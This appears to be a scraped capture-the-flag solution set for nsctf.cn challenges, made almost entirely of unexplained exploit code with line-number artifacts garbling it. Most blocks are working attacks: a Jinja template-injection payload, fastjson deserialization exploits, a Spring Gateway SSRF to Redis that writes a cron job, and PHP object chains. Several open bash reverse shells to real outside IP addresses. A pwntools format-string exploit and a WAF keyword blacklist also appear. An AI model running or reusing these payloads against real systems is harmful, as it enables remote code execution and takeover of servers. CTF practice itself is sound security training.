ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phphighlight_file(__FILE__);class DB{    // Something secret in /hintpublic$host;public$username;public$password;public$dbname;public function __construct($host, $username, $password, $dbname){$this->host = $host;$this->username = $username;$this->password = $password;$this->dbname = $dbname;    }}echo serialize(new DB("","","",""));

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineimport randomblacklist=['_', 'class', 'base', 'mro', 'subclasses', '.', '[', ']', '{%', "'", '"', 'request', 'cookie', 'values', 'url_for', 'config', 'builtins', 'globals', 'init', '\x', 'attr', 'getitem', 'string', 'list', 'select', 'pop', 'print', 'set', '{{', 'join', 'count','app','os',"import","modules","dict","sys"]defwaf(s):    evilcode= random.sample(blacklist,10)ifnot s.isascii():returnFalseelse:for key in evilcode:if key in s:returnTruereturnFalse

import requestsdefxxx():returnurl = "http://62671fcb1afcb0b5.node.nsctf.cn/"defget8str(s):    res = ""for i in s:        res += f"\{oct(ord(i)).replace('0o','')}"return respayload = "{{lipsum.__globals__['" + get8str("os") + "'].system('" + get8str("bash -c 'bash -i >&/dev/tcp/193.112.178.208/6666 0>&1'") + "')}}"while1:print(requests.post(url,data={"code":payload}).text)

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineimport javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.springframework.http.HttpEntity;import org.springframework.http.HttpHeaders;import org.springframework.http.MediaType;import org.springframework.util.LinkedMultiValueMap;import org.springframework.web.client.RestClientException;import org.springframework.web.client.RestTemplate;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Arrays;import java.util.regex.Matcher;import java.util.regex.Pattern;publicclass POC {static String target = "http://0e594eccf142ca0b.node.nsctf.cn/json";//    static String target = "http://193.112.178.208:8080/json";static String file = "file:///tmp/1";static String classname = "com.xxx.Hack6xException";//    static String file2write = "/tmp/tomcat-docbase.8080.1787086389405282999/WEB-INF/classes/com/chenzai/HackException.class";static String file2write = "/tmp/tomcat-docbase.8080.1787086389405282999/WEB-INF/classes/" + classname.replace(".","/") + ".class";publicstatic Object sendJson(String payload) {try {            RestTemplate restTemplate = new RestTemplate();            HttpHeaders httpHeaders = new HttpHeaders();            httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);            LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>();            map.add("json", payload);            HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);return restTemplate.postForObject(target, request, String.class);        } catch(RestClientException e) {return"null";        }    }publicstaticvoidmain(String[] args) throws IOException, CannotCompileException, NotFoundException, InterruptedException {        // 1. add inputStream to fastjson cache        String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json")));sendJson(payload1);        // 2. read file name of tmp docbase        String data = "";boolean flag = true;        String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step2.json")));        payload2 = payload2.replace("${file}", file);        String template = payload2;while(flag) {for(int i = 0; i < 256; i++) {                String temp = data + (char) i;                payload2 = template.replace("${data}", Arrays.toString(temp.getBytes(StandardCharsets.UTF_8)));                String o = (String) sendJson(payload2);if(o.length() > 79) {                    System.out.println(o);                    data = temp;                    i = 0;                }if(i == 255) flag = false;            }        }        System.out.println(data);        String regex = "tomcat-docbase\.[^\n]+";        Pattern pattern = Pattern.compile(regex);        Matcher matcher = pattern.matcher(data);        String docbase = "";if(matcher.find()) docbase = matcher.group();        System.out.println("find docbase: " + docbase + "!!!");        file2write = file2write.replace("${tomcat_docbase}",docbase);        // 3. write evil class file to docbase        String payload3 = new String(Files.readAllBytes(Paths.get("payloads/step3.json")));        payload3 = payload3.replace("${file2write}",file2write);        byte[] evilBytes = getEvilBytes("touch /tmp/pwned");        String shellcode = bytesToHexString(evilBytes);        payload3 = payload3.replace("${size}",Integer.toString(24));        String payloadTemplate = payload3;for(int i = 0; i < shellcode.length(); i+=20 ) {int end = i+20;if(end > shellcode.length()) {                end = shellcode.length();            }            System.out.println(shellcode.substring(i,end));            payload3 = payloadTemplate.replace("${shellcode}",shellcode.substring(i,end));            System.out.println(i);            System.out.println(end);sendJson(payload3);        }        String payload4 = new String(Files.readAllBytes(Paths.get("payloads/step4.json")));sendJson(payload4.replace("${className}",classname));        System.out.println("done!!!");    }publicstatic byte[] getEvilBytes(String cmd) throws CannotCompileException, IOException, NotFoundException {        ClassPool pool = ClassPool.getDefault();        CtClass cc = pool.makeClass(classname);        cc.setSuperclass(pool.get("java.lang.Exception"));        String shellcode = "        try {n" +"            Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >&/dev/tcp/193.112.178.208/6666 0>&1"});n" +"        } catch (Exception e) {n" +"            throw new RuntimeException(e);n" +"        }";        cc.makeClassInitializer().insertBefore(shellcode);        cc.toClass();return cc.toBytecode();    }publicstatic String bytesToHexString(byte[] bytes) {        StringBuilder hexString = new StringBuilder();for(byte b : bytes) {            hexString.append("\x").append(String.format("%02x", b));        }return hexString.toString();    }}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linePOST /actuator/gateway/routes/new_route HTTP/1.1Host: 3b5744e1e70597c3.node.nsctf.cnConnection: closeContent-Type: application/json{"predicates": [    {"name": "Path","args": {"_genkey_0": "/new_route/**"      }    }  ],"filters": [    {"name": "RewritePath","args": {"_genkey_0": "/new_route(?<path>.*)","_genkey_1": "/${path}"      }    }  ],"uri": "http://127.0.0.1:6379/","order": 0}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linePOST /actuator/gateway/refresh HTTP/1.1Host: 3b5744e1e70597c3.node.nsctf.cnConnection: closeContent-Type: application/json{"predicate": "Paths: [/new_route], match trailing slash: true","route_id": "new_route","filters": ["[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"  ],"uri": "https://www.cnpanda.net","order": 0}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linePOST/new_route/xxx.xxx HTTP/1.1Host: 3b5744e1e70597c3.node.nsctf.cnConnection: closeContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36auth P@ssw0rdset xx "n* * * * * bash -i >& /dev/tcp/193.112.178.208/6666 0>&1n"config set dir /var/spool/cron/config set dbfilename rootsave

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpclass DayDay{public$secret;public$password;public$filename;public function __construct() {$this->password=& $this->secret;$this->filename = "/flag";    }}class five {public$hahah;public function __construct()  {$this->hahah= new Music();    }}class FFFF {public$four;public function __construct() {$this->four=new DayDay();    }}class Music{public$a='';public function __construct() {$this->a=  new FFFF();    }}class Hello{public$hello;public function __construct() {$this->hello= new five();    }}echo(serialize(new Hello()));

ounter(lineO:5:"Hello":1:{s:5:"hello";O:4:"five":1:{s:5:"hahah";O:5:"Music":1:{s:1:"a";O:4:"FFFF":1:{s:4:"four";O:6:"DayDay":3:{s:6:"secret";N;s:8:"password";R:6;s:8:"filename";S:5:"/66lag";}}}}}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linepackage fastj7son;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.ArrayList;import java.util.Base64;import java.util.HashMap;publicclass fastjson1Usual {public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }public static void main(String[] args) throws Exception{        //生成恶意类        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = newCtConstructor(newCtClass[]{}, clazz);        constructor.setBody("Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i>&/dev/tcp/47.242.30.242/60003 0>&1"});");        clazz.addConstructor(constructor);        byte[][] bytes = new byte[][]{clazz.toBytecode()};//        byte[] bytes = Repository.lookupClass(InjectInterceptor.class).getBytes();        TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes", bytes);setValue(templates, "_name", "clown");setValue(templates, "_tfactory", null);        ArrayList<Object> arrayList=newArrayList<>();        arrayList.add(templates);        JSONArray jsonArray = newJSONArray();        jsonArray.add(templates);        Object val = getXString(jsonArray);        arrayList.add(val);        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = newSignedObject(arrayList, kp.getPrivate(), Signature.getInstance("DSA"));        ArrayList<Object> arrayList1=newArrayList<>();        arrayList1.add(signedObject);        JSONArray jsonArray1 = newJSONArray();        jsonArray1.add(signedObject);        Object val1 = getXString(jsonArray1);        arrayList1.add(val1);        ByteArrayOutputStream barr = newByteArrayOutputStream();        ObjectOutputStream objectOutputStream = newObjectOutputStream(barr);        objectOutputStream.writeObject(arrayList1);        System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));//        ObjectInputStream ois = newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));//        Object o = (Object)ois.readObject();    }publicstatic HashMap getXString(Object obj) throws Exception{        XString xstring=newXString("");        HashMap hashMap1 = newHashMap();        HashMap hashMap2 = newHashMap();        hashMap1.put("yy",xstring);        hashMap1.put("zZ",obj);        hashMap2.put("zZ",xstring);        hashMap2.put("yy",obj);        HashMap hashMap = newHashMap();        hashMap.put(hashMap1, 1);        hashMap.put(hashMap2, 2);return hashMap;    }}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#!/usr/bin/env python3from pwn import *def get_sb():    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/shx00'))def dbg(c=0):    if c:        gdb.attach(io, c)    else:        gdb.attach(io)pause()s = lambda data: io.send(data)sa = lambda text, data: io.sendafter(text, data)sl = lambda data: io.sendline(data)sla = lambda text, data: io.sendlineafter(text, data)r = lambda num=4096: io.recv(num)ru = lambda text: io.recvuntil(text)pr = lambda num=4096: print(io.recv(num))ia = lambda: io.interactive()ic = lambda: io.close()l32 = lambda: u32(io.recvuntil(b'xf7')[-4:].ljust(4, b'x00'))l64 = lambda: u64(io.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))uu32 = lambda: u32(io.recv(4).ljust(4, b'x00'))uu64 = lambda: u64(io.recv(6).ljust(8, b'x00'))int16 = lambda data: int(data, 16)lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))io = remote("node.nsctf.cn","58379")r()sl(b"aaa")payload=b"%4566c%8$hnaaaaa"+p64(0x404020)+b"a"print(payload)r()s(payload)ia()

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linepackage org.example;import java.util.HashMap;import java.util.Map;publicclass tree {    // Definition of the treetree nodeprivatestaticclass treetree {        char value;        treetree left, right;treetree(char value) {            this.value = value;            this.left = this.right = null;        }    }    treetree root = null;    // Insert method as providedpublic void insert(char value) {        this.root = insertRec(this.root, value);    }private treetree insertRec(treetree root, char value) {if(root == null) {return new treetree(value);        }if(value < root.value) {            root.left = insertRec(root.left, value);        } else if (value > root.value) {            root.right = insertRec(root.right, value);        }return root;    }    // Encrypt method as providedpublic String encrypt(String input) {for(int i = 0; i < input.length(); i++) {insert(input.charAt(i));        }return inorder() + postorder();    }private String inorder() {        StringBuilder result = new StringBuilder();inorderRec(this.root, result);return result.toString().trim();    }private void inorderRec(treetree root, StringBuilder result) {if(root != null) {inorderRec(root.left, result);            result.append(root.value);inorderRec(root.right, result);        }    }private String postorder() {        StringBuilder result = new StringBuilder();postorderRec(this.root, result);return result.toString().trim();    }private void postorderRec(treetree root, StringBuilder result) {if(root != null) {postorderRec(root.left, result);postorderRec(root.right, result);            result.append(root.value);        }    }/**     * Decrypts the encrypted string back to the original input string.     *     * @param encrypted The encrypted string (in-order + post-order traversals).     * @return The original decrypted string.     * @throws IllegalArgumentException if the encrypted string length is not even or contains duplicate characters.     */public static String decrypt(String encrypted) {if(encrypted.length() % 2 != 0) {throw new IllegalArgumentException("Invalid encrypted string length.");        }int n = encrypted.length() / 2;        String inOrder = encrypted.substring(0, n);        String postOrder = encrypted.substring(n, 2 * n);        // Reconstruct the tree from in-order and post-order traversals        treetree root = buildTree(inOrder, postOrder);        // Perform pre-order traversal to get the original string        StringBuilder original = new StringBuilder();preOrderRec(root, original);return original.toString();    }    // Helper method to build the tree from in-order and post-order traversalsprivate static treetree buildTree(String inOrder, String postOrder) {if(inOrder.length() != postOrder.length()) {throw new IllegalArgumentException("In-order and Post-order strings must be of the same length.");        }int n = inOrder.length();        Map<Character, Integer> inOrderMap = new HashMap<>();for(int i = 0; i < n; i++) {            char c = inOrder.charAt(i);if(inOrderMap.containsKey(c)) {throw new IllegalArgumentException("Duplicate characters detected. Decryption requires unique characters.");            }            inOrderMap.put(c, i);        }return buildTreeRec(inOrder, 0, n - 1, postOrder, 0, n - 1, inOrderMap);    }private static treetree buildTreeRec(String inOrder, int inStart, int inEnd,                                         String postOrder, int postStart, int postEnd,                                         Map<Character, Integer> inOrderMap) {if(inStart > inEnd || postStart > postEnd) {returnnull;        }        // The last character in postOrder is the root        char rootVal = postOrder.charAt(postEnd);        treetree root = new treetree(rootVal);        // Find the root in inOrderint inRoot = inOrderMap.get(rootVal);int numsLeft = inRoot - inStart;        // Recursively build left and right subtrees        root.left = buildTreeRec(inOrder, inStart, inRoot - 1,                postOrder, postStart, postStart + numsLeft - 1,                inOrderMap);        root.right = buildTreeRec(inOrder, inRoot + 1, inEnd,                postOrder, postStart + numsLeft, postEnd - 1,                inOrderMap);return root;    }    // Helper method to perform pre-order traversalprivate static void preOrderRec(treetree root, StringBuilder result) {if(root != null) {            result.append(root.value);preOrderRec(root.left, result);preOrderRec(root.right, result);        }    }public static void main(String[] args) {        tree tr = new tree();        System.out.println(tr.decrypt("0MNSTeiknopruvxyz~0konip~zyxvureTSNM"));    }}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineinput = open('reg.png', 'rb')input_all = input.read()ss = input_all[::-1]output = open('reg1.png', 'wb')output.write(ss)input.close()output.close()